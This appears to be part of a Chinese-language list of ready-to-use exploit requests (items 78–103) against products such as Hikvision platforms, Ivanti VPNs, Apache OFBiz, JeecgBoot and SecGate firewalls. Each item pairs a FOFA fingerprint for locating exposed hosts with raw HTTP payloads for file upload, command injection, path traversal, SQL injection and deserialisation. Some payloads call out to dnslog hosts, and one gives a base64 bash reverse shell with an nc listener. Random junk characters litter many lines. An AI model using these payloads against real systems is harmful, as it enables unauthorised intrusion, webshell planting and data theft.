Content-Disposition: form-data; name="folder"

  d) j: c+ y1 {* L3 ~* T7 P5 [/upload/udplog
' J) m6 e5 w5 ~------------398jnjVTTlDVXHlE7yYnfwBoix
5 d. G0 {: n0 I6 F- g* XContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
0 o( [4 ?' V$ E5 A  f, |: ~Content-Type: application/octet-stream
4 ^$ z( Y, T4 U  s5 `
, E. v2 `1 b2 O. F/ G* m- uhello1234567
2 T" M  c+ u2 b6 G& z------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
( T& M3 y& f( \2 f4 ]7 V5 D
: r* L' J1 D% S6 a  oSubmit Query
+ @2 A: X7 L  j/ g8 G: n------------398jnjVTTlDVXHlE7yYnfwBoix--

1 g$ G8 ~! N# q
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
$ c! t( s+ x/ P6 F# T: O+ I& G8 _& @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! C8 o1 R% J9 I: u6 ^Connection: close
Content-Length: 336
) e& l- K! K2 P6 L9 r8 qAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
2 U* _! `* u  i! ]
" `+ @, ^% V3 O: e------YsOxWxSvj1KyZow1PTsh98fdu6l
/ v' I6 {* T; V) y  n% vContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
1 c  |; V. h1 \9 t% H( Z/ u------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
( k9 `$ R3 d1 J8 h% g6 a
3 [7 p! i9 Z& {/ c/ G; h/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
% A- B$ Y" R4 s6 F2 B% w
! d8 g, G! f. s$ v/ }2 a- G& i
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
. g& @% B& _. |Host: x.x.x.x

3 a2 y8 T# q  O5 i( Q
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
5 ~6 N# [- ^/ Z0 G2 W/ t9 }GET /goform/webRead/open/?path=|id HTTP/1.1
; K3 ]5 t: X: I& |0 hHost:IP
. _- s& |- M& |1 Q' {6 D+ qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
8 }1 m2 H. M$ ~/ M, _  Y$ s0 [: IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
% H1 }  ?  z- E6 E$ g/ g6 sConnection: close
Upgrade-Insecure-Requests: 1
. c6 X. D$ r# m4 }' C+ [

80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
7 W; D$ A" h' d" g4 BFOFA：app="速达软件-公司产品"
6 |# o: W9 Q& ^" j2 [POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
) b5 a0 R2 ^4 ?/ L& dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
: G5 w) ]: u+ u7 Z2 rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
4 y5 X3 H& C0 t5 C/ [' f5 c0 JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) \6 x' A3 y- n3 A3 z( A+ {: ZConnection: close
Content-Type: application/octet-stream
  f& U: G, R4 h) i2 t1 B2 rUpgrade-Insecure-Requests: 1
- q" ?5 L$ v5 f; S4 y+ I
) z0 d% W7 [5 \" W- l2 u<% out.print("oessqeonylzaf");%>

( B' I" L8 p9 ?- k$ P' ?9 H
+ P  J$ A+ |- mGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
2 d! e1 _7 U5 d9 i: W8 S& JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# E" m3 j( c+ LConnection: close
Accept-Encoding: gzip

& L' q* Q" S5 X& D
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
0 g0 D! ?' y' A8 vFOFA：app="uniview-视频监控"
8 ~; E2 W- [6 qGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
' H' @- i/ i8 Q$ [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
, B/ \; c# `/ C+ ]( H
, T: C& h: I/ H! T: P
- j% y( ^% E+ G& Q" {82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
# n( D4 L0 H* G+ u5 pPOST /bhost/test_qrcode_b HTTP/1.1
  C; g" ~5 R# }+ M4 v; x* j; U$ oHost: BaseURL
User-Agent: Go-http-client/1.1
9 M$ X% g) i3 k$ wContent-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
% q6 c# s1 w7 v3 F5 ]Referer: BaseURL

z1=1&z2="|id;"&z3=bhost
1 o3 M( I0 K0 g/ N

6 D6 V* @- r. P; o2 E- ?! y83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"


1 j: O4 Q. |" e3 P* Z/ K. |POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! k  L2 [8 n, h/ vConnection: close
( I0 \4 _) v6 h- J% u% q- B: n9 I1 ^Content-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
: Q; r2 j4 Q( A8 D% h/ Q2 _Content-Type: application/json
0 [% _4 _- J$ C- n8 U
PAYLOAD

! s1 A+ V3 e% i84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
- d: ^! U& l, T/ H1 IFOFA：title=="JeecgBoot 企业级低代码平台"
% R+ T5 [) B7 J: w4 F$ v- S$ V


POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
, W) i8 ~- z/ l; ]4 `! EHost: 192.168.40.130:8080
. A1 i" {$ C7 ~- UUser-Agent: curl/7.88.1
6 j3 F. f, _; S: fContent-Length: 156
Accept: */*
Connection: close
: I3 b$ Y' S% M6 _% YContent-Type: application/json
/ y7 k+ M6 u' ~Accept-Encoding: gzip

{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
0 O( B( k) S; {}


85. SysAid On-premise< 23.3.36远程代码执行
) e5 j2 }- h2 Q  v# E4 T( @CVE-2023-47246
" @: r# N7 p0 f- SFOFA：body="sysaid-logo-dark-green.png"
# _3 K4 l  F3 T8 G2 u" H. x8 @. VEXP数据包如下，注入哥斯拉马
8 p- P# T4 J6 fPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
4 g* [  ]! B5 K6 U: h6 M1 lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip

PAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp

3 M" n; ?- P7 b8 d- N; x( w. R9 z3 D86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
, |! H+ D( G; `) {7 c! F  gUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
0 H! e3 y" s1 O$ F8 @. TConnection: close
Content-Length: 44
Accept: */*
% N# o/ q6 U% ^0 s" B; ~8 ~( RAccept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

1 w. `/ a: l. [2 khost=%0acat${IFS}/etc/passwd%0a&command=ping

+ }2 g- B* L) f' m7 J
4 k! p. R; f9 F& M; X1 j& L87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
7 q* H) }. T) K+ }' d: G$ g1 mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
% M0 @) W7 `- p6 C& ]Content-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
2 g9 R. J! f! O6 k
7 g6 m8 ]5 J3 {7 \, \; C2 C--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
/ S( v. G( v1 w9 B6 o4 r- BContent-Type: text/plain

! t# K2 m! n; N+ ~- h2ZqGNnsjzzU2GBBPyd8AIA7QlDq
0 X. l, w2 Z/ M$ ~9 w4 F--qqobiandqgawlxodfiisporjwravxtvd--

  A" x# s8 ]( U: ?5 O5 P
/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
& k; o2 Q2 b8 \Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) Y. [! K1 C5 b3 k# S2 K& oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
: W/ k# c, D" [/ s% IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
  d3 O, O& `0 C* ~1 e( j7 G

/astdfkhl.php

; |: l! O9 c3 b5 z5 x' u5 u, }4 ~& h) f89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
  R' I# p+ Y3 E5 F9 H, ]5 ]7 `, U; EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
% \, `, |9 F0 I( f: [Accept-Encoding: gzip

3 F0 }8 e* A* Yoption=2&GUID=-1'+union+select+111*222--+


& z; t( w+ S9 j$ q0 P90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
7 r0 I# i$ T3 v; x  ]3 q, G# kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
5 G$ B% x2 s  \. iContent-Length: 51
, ~1 D4 o1 N( X6 i' S) K0 ^Accept: application/json, text/javascript, */*; q=0.01
9 r8 `$ s! t8 i: zAccept-Encoding: gzip, deflate
( r  q1 |! u2 Y- B; G& lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
' v2 m9 g7 L0 J$ g* D! rContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
; X* [/ j6 K# Q$ m" u% {- i' K' n
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
1 g% j& Y6 F  n( I9 K* Q* E
" S' S% J1 E2 D, |' g( ?
; G& Y8 O: E0 c' B; i91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
( b: R% M" r; n  M6 ~' d  P0 dFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
0 M8 a0 @- K1 K5 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
% g0 {' @$ u9 `5 u1 |( \& PAccept-Encoding: gzip, deflate
0 x& r6 k8 j: tAccept: */*
: T0 @& w6 D1 w; O4 D7 \4 ZConnection: keep-alive
: o! ?8 G7 j9 f" N, _0 A
# Y3 _- l% J' a( W, d! O- p, H
' a# y  }( O& d6 L2 J- F; [
92. 海康威视运行管理中心session命令执行
Fastjson命令执行
) A+ ?; ]5 M4 K: Y6 thunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
9 T/ J0 j: U- S2 b; v3 A2 zPOST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
& A* u5 E: W4 t  wAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
$ p7 f  W) e6 f. @7 [Testcmd: echo test
4 s$ O7 C  O9 E! }3 X3 C. rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
+ S: ]& F" d, z1 C+ N& o0 RContent-Length: 5778

( l6 C; _. Z4 u) E0 Q0 @PAYLOAD
# ^6 c5 ]1 `6 B# B, _% X/ o
0 x! r! m: F$ T) I
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
3 e6 M" q: l# Y6 |POST /?g=app_av_import_save HTTP/1.1
& V, B4 r; y' ~2 e7 cHost: x.x.x.x
; T" {9 K! t0 Q/ u1 P) a% NContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
0 _1 [  H" \! I2 G4 f* g, JUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
5 g3 h: Z4 j$ n" i
9 f. X6 ^) s3 B3 U" r2 Y8 k8 U10000000
" |3 j+ U$ Z+ A, H------WebKitFormBoundarykcbkgdfx
# h* H* [7 R$ u5 d2 c* }' D% DContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
$ b3 O) v; w4 R. d' d5 e+ o
2 t8 A5 b3 Q* G+ ?wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
: ^; @# h9 }: ^  R; rContent-Disposition: form-data; name="submit_post"

# S; Q$ ^4 ]0 K/ ]obj_app_upfile
" v1 ?2 s4 b: e1 X: d9 b! ]------WebKitFormBoundarykcbkgdfx
7 ]. q5 x+ r4 [% nContent-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--

2 O5 Y6 c+ G2 [
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
6 w" C5 \9 S  _1 _9 b1 k/ gUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


+ u$ B2 A1 y0 c+ n- {+ f- a9 ?) ?94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
, a/ A  e  L- ]; z6 _Host: x.x.x.x
3 g0 K! j" ]' [+ R% mContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
! ?& t/ I5 F* Y8 h1 y/ K4 B% ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
  H+ k% [' k- E( s
, S$ C, Z0 a; S  T7 D------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
( S" b/ w; z8 }* }, X
7 \8 m& f& |/ Q5 z8 I9 E" O$ u! M10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
# b3 j# r7 d6 p9 A( N, {0 G' v
pxplitttsrjnyoafavcajwkvhxindhmu
" V# C* |2 l1 R  K" O$ r------WebKitFormBoundarybqvzqvmt
  T' F. q  }. X3 J1 IContent-Disposition: form-data; name="submit_post"
2 D5 S; X+ S" G7 Y; n; P! u/ m; V
obj_app_upfile
------WebKitFormBoundarybqvzqvmt
+ x% j2 T$ E. h7 }; K+ |, dContent-Disposition: form-data; name="__hash__"

  u5 K3 X; m2 g! I+ h0b9d6b1ab7479ab69d9f71b05e0e9445
- A8 `2 x1 V- o5 W2 E# m------WebKitFormBoundarybqvzqvmt--
8 H1 x( B5 c; ]7 T3 ]+ y
5 {  b% e4 n7 S1 M
6 p' t* {) c6 I% `# ~
+ a$ j0 r1 F4 \1 K7 OGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
. T) ~# y3 S+ ]. F( n! T7 HUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 j% W: k# C. h; z( w' M. e7 x
5 h: l8 |" m  S: s$ r; S
4 l& i6 T8 R- ?& k6 P1 `2 I. {
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
- n3 d2 F2 `( _) A* w. j4 z2 gFOFA：app="Apache_OFBiz"
6 y: N2 [% B2 I" @/ p, _, L+ iPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
- _, Q/ k. _( L1 M. Q: EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
" \7 w. @6 z9 I& lConnection: close
' ]6 X$ ?% G; L3 R: F; OContent-Length: 889
7 O+ `2 J- [" E7 FContent-Type: application/xml
, l3 X' l8 l/ I  zAccept-Encoding: gzip

' J2 n* ]( k7 L1 i; j; X<?xml version="1.0"?>
) W1 e+ P/ r2 j5 c2 }0 c: ]<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
' Y% d( i" }3 J- E/ Y      <value>
% J, _8 W* X) I8 c        <struct>
, o7 S# g( f; c  B       <member>
          <name>test</name>
% L( T: `- A' e          <value>
% p4 s1 {5 _7 G+ a! w      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
6 ?+ H+ [  a' G0 O7 H: S$ {/ X/ A, w5 J          </value>
        </member>
( k8 }- C' s% U* h      </struct>
' O; F+ I; |1 @( d" I, }      </value>
# D" f: A! Z$ n4 g    </param>
    </params>
$ m, q8 i. W  h# h; Q</methodCall>
% Q% f2 `) V+ g; h
7 t  w7 g' |& f$ K2 `
用ysoserial生成payload
3 ^: V8 x. C9 D3 y8 ^  gjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
8 Q, m$ J3 T, u
* c% R9 J+ u9 i" i! e7 y
0 j' G6 Z+ l" k6 P8 p将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
# }/ U- ]# A" k) ~- C- N7 OUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
* R7 r6 P7 U9 n% m0 q- j  PContent-Length: 889
! o9 }& D5 y/ l3 P4 o! i' vContent-Type: application/xml
  a' C9 I. X0 I6 K% J, c: Z1 |0 nAccept-Encoding: gzip
4 E/ `1 g+ X1 ]. Q! m. P
PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
5 Q3 _* B" _4 iPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
( Q% l# @$ I9 L# L# }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
- j1 H9 r. U  fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 S: D( ^+ p$ e  t5 k3 \' v! EContent-Type: application/x-www-form-urlencoded
9 p. ~1 y7 f! }/ q, PContent-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
2 ]0 {. D* z; N. r7 [在kali上启动一个监听
. P' j* x( M8 r# ?4 i" _. c$ cnc -lvp 7777
( _5 k1 V, l3 S' f" j
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
  L; f2 h' ~1 C) T2 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, N3 s3 R% O7 B7 nContent-Type: application/x-www-form-urlencoded
% e7 O: e# H1 m9 kContent-Length: 71

2 _" g4 E: I/ C4 X7 n0 `groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
# E5 {0 {; w3 J+ q3 O4 Z# s
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
6 o) H$ [% Y6 P9 o; MFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
& @/ M; V6 D/ L2 J0 xGET /passport/login/ HTTP/1.1
6 O) i5 {4 s( C+ Q% j8 vHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
2 O8 g1 `+ c. {* l3 A6 d8 m3 uConnection: close
- ], S' P) A8 [+ m" \# N) ?$ uCookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
4 ~) g  x, [9 O+ _$ @- D+ |2 }5 o

, h3 ^" C$ O* q2 S2 ~: K8 T% j98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
' u( M& K3 I! y& ~FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
0 m4 j& j; I! C% F3 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
/ \3 g! ]0 N3 n3 ^8 T6 YConnection: close
2 I7 W2 L8 H( ^) }Content-Length: 121
( |- p4 G+ r, g" T- z' UAccept: */*
Accept-Encoding: gzip, deflate
9 {) q+ _0 j2 ^6 IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

' q7 g; j$ p$ q) N, t
99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
% m1 x& @" \' ^FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
% K$ r2 j5 F* b3 z% `; bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' W( `0 D3 D+ o6 O9 AContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
# U2 M# \" B/ L- S; f1 |
& i# D8 H( b; o4 ~- k- R. |% y%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
; c3 M* m9 n# r6 S: j7 T
/ L5 Q, a/ }) o' P3 O( P2 i
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
, A3 b' @* {1 d& P) fHost: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
( v" Q+ x5 H1 m' v) J" r* TConnection: close
. t* a/ Z% h1 D5 j, m% p0 t3 eContent-Length: 201
% M/ f# V5 _/ T6 f& T# I& aContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
! O' X$ _8 ]9 ^7 u9 F  _2 f, lAccept-Encoding: gzip

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
( F3 n  _  }( zContent-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--

7 @) @4 V& t& ~2 @
101. ivanti policy secure-22.6命令注入
/ ~# i' k7 s7 T  e- H/ WCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
" O# W$ P2 v* ]' JUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& L& A+ O4 q: N' rConnection: close
7 E& S7 ^+ ^0 }. x' hAccept-Encoding: gzip
- y$ `( j0 G- A/ t

102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
0 N* ?" G+ V7 H' sHost: x.x.x.x
# P, h' n" Q3 |8 x6 X2 ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
7 d; g/ O- t: J$ n4 r" W; JContent-Length: 792
) U+ M1 i& |; uAccept-Encoding: gzip

3 l7 b- X, H8 b% j; _/ p<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
; d' n! g" J+ K# S9 F8 W" y
103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
6 u# T8 m2 ]; M! g& K7 ]3 u, pFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
